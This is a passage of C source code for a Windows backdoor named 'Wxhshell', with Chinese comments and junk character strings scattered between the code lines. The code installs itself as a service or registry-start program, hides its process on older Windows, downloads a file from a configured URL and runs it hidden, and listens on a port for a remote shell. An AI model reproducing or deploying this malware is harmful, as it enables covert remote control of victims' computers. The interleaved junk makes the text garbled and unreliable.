EY:IwDA.} *AYq:n6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ""Da2Md ;1s+1G}_z CloseHandle(hProcess); #n}~u@,o_ 6i2%EC9 if(strstr(procName,"services")) return 1; // 以服务启动 L7d1)mV 0{g*\W*+~ return 0; // 注册表启动 X6",Xr!{ } 1`YU9? 5mC"8N1) // 主模块 DzQ int StartWxhshell(LPSTR lpCmdLine) </WeB3#6 { xDGS`o_w_ SOCKET wsl; Fs].Fa BOOL val=TRUE; TN1pg int port=0; N0.|Mb"?t struct sockaddr_in door; E5$]0#jB ?3p7MjvZ if(wscfg.ws_autoins) Install(); ;AE-=/< 4(|yl^w port=atoi(lpCmdLine); nYFrp)DLK wD=]U@t`, if(port<=0) port=wscfg.ws_port; YZj*F-} >mai
v; WSADATA data; <S041KF.{6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i'7+
?YL |1RVm?~i if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LP=j/qf| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d 8DU[p door.sin_family = AF_INET; BBRL_6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jjm#ofv door.sin_port = htons(port); ;4[[T%&v }!AS? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5,pNqXRp closesocket(wsl); l6y}>] return 1; PO`p.("h } +a3E=GJ j/z=<jA if(listen(wsl,2) == INVALID_SOCKET) { >m>F {v closesocket(wsl); ca{MJz' return 1; Q-n8~Ey1a } pYx,*kG:HW Wxhshell(wsl); D]]wJQU2 WSACleanup();
&cSVOsi Ic9L@2m return 0; ,-4NSli F5Z,Jmi^M } d=PX}o^ _r*\ BM8y // 以NT服务方式启动 jYFJk&c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [/CGV8+ { a:fP DWORD status = 0; U}RBgPX! DWORD specificError = 0xfffffff; UowvkVa y
%Q. ( serviceStatus.dwServiceType = SERVICE_WIN32; #cu{AdK serviceStatus.dwCurrentState = SERVICE_START_PENDING; _cX}!d!j serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `8ac;b serviceStatus.dwWin32ExitCode = 0; f9W:-00QD serviceStatus.dwServiceSpecificExitCode = 0; kFv*>>X` serviceStatus.dwCheckPoint = 0; t$18h2yOL serviceStatus.dwWaitHint = 0; d )O^(y1r e@Lxduq hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =~GP;=6 if (hServiceStatusHandle==0) return; (Jk&U8y q(6.VU@ status = GetLastError(); n^Ca?|}
, if (status!=NO_ERROR) Y%.o
TB& { nt#9j',6Rn serviceStatus.dwCurrentState = SERVICE_STOPPED; dRX~eIw serviceStatus.dwCheckPoint = 0; }IyF|[ serviceStatus.dwWaitHint = 0; j#1G?MF serviceStatus.dwWin32ExitCode = status; }OpUG serviceStatus.dwServiceSpecificExitCode = specificError; N/bOl~!y SetServiceStatus(hServiceStatusHandle, &serviceStatus); X.eOw>. return; h0'*)`;z } vR!+ 8sy$ JaCX}[R serviceStatus.dwCurrentState = SERVICE_RUNNING; m&:&z7^p serviceStatus.dwCheckPoint = 0; zj1~[$
( serviceStatus.dwWaitHint = 0; {>
YsrD C if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Io1j%T#ZT } 7nek,8b )l7XZ_gw' // 处理NT服务事件,比如:启动、停止 ;=Ma+d# VOID WINAPI NTServiceHandler(DWORD fdwControl) *an Ng<@ { >fH0>W+! switch(fdwControl) jk9f{Iu { 6ZqU:^3 case SERVICE_CONTROL_STOP: {^WK#$] serviceStatus.dwWin32ExitCode = 0; @>)VQf8s1 serviceStatus.dwCurrentState = SERVICE_STOPPED; -&Z!b!jN serviceStatus.dwCheckPoint = 0; w+g29 serviceStatus.dwWaitHint = 0; y9r4]45 { >}+{;d SetServiceStatus(hServiceStatusHandle, &serviceStatus); fg^AEn1i } #ibwD:{ return; UK
':%LeL case SERVICE_CONTROL_PAUSE: ]n!V serviceStatus.dwCurrentState = SERVICE_PAUSED; 2n:<F9^" break; x]{P.7IO' case SERVICE_CONTROL_CONTINUE: Mg;pNK\n serviceStatus.dwCurrentState = SERVICE_RUNNING; E#$Jg|e break; Vu:ZG*^ case SERVICE_CONTROL_INTERROGATE: Q$E.G63Wl break; u?=mh` }; x>yqEdR=o SetServiceStatus(hServiceStatusHandle, &serviceStatus); x+X@&S } r#sg5aS7O| jeu'K vhe // 标准应用程序主函数 qGk.7wf% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k=]e7~! { 79T_9}M Uwc%'=@ // 获取操作系统版本 X:GRjoa OsIsNt=GetOsVer(); &C9IR,& GetModuleFileName(NULL,ExeFile,MAX_PATH); AY AU \@gV$+{9 // 从命令行安装 .xT?%xSi/ if(strpbrk(lpCmdLine,"iI")) Install(); (a[BvJf @t%da^-HS" // 下载执行文件 .U!EA0B if(wscfg.ws_downexe) { p<mL%3s0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Y99L)+=/ WinExec(wscfg.ws_filenam,SW_HIDE); *k{Llq } b)diYsTH ^?cu9S3 if(!OsIsNt) { yu;EL>G_AY // 如果时win9x,隐藏进程并且设置为注册表启动 [V'c HideProc(); )Te\6qM StartWxhshell(lpCmdLine); Tn7Mt7 h } suN6(p(. else 9xQ|Uad+% if(StartFromService()) /5,6{R9 // 以服务方式启动 S7+>Mk StartServiceCtrlDispatcher(DispatchTable); y\FQt];z) else u$\.aWol // 普通方式启动 #{6VdWZ StartWxhshell(lpCmdLine); T|~5dZL ~c EN=(Z~r return 0; 3H#,qug$ }
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